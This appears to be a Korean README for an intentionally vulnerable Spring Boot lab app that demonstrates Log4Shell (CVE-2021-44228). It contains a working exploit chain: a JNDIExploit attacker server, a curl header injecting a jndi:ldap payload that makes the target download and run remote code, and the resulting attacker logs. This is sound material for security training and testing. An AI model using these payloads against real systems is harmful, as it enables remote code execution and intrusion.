
이 저장소에는 log4shell로 알려진 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션이 포함되어 있습니다.
이 저장소는 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 포함하며, log4shell로 알려져 있습니다.
다음을 사용합니다:
log-4j-core:2.14.1 (spring-boot-starter-log4j2를 통해) 및openjdk:8u181실행:
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
또는 직접 빌드할 수도 있습니다:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
다음 단계를 통해 log4shell 익스플로잇을 재현할 수 있습니다. 공격이 내부적으로 어떻게 작동하는지 잘 모르겠다면 이 문서나 이 저장소에 있는 슬라이드를 확인하세요.
업데이트 (12월 13일): JNDIExploit 저장소가 GitHub에서 제거되었습니다 (아마도 GitHub에 의한 것은 아님). 따라서 이 저장소에 저장된 버전을 사용할 것을 권장합니다.
먼저 공격자 서버를 설정해야 합니다. 이는 다음으로 구성됩니다:
공격자 서버를 띄우기 위해 JNDIExploit을 사용합니다.
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888
페이로드로 취약한 애플리케이션 서버에서 touch /tmp/pwned (base64로 인코딩된 dG91Y2ggL3RtcC9wd25lZAo=)를 실행하려고 합니다.
다음을 사용하여 익스플로잇을 트리거합니다:
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
JNDIExploit의 출력은 공격자 서버가 악성 익스플로잇으로 응답하고 페이로드를 실행했음을 보여줍니다:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
코드 실행이 성공했는지 확인하기 위해, 취약한 애플리케이션이 실행 중인 컨테이너에 /tmp/pwned.txt 파일이 생성되었는지 확인합니다:
$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/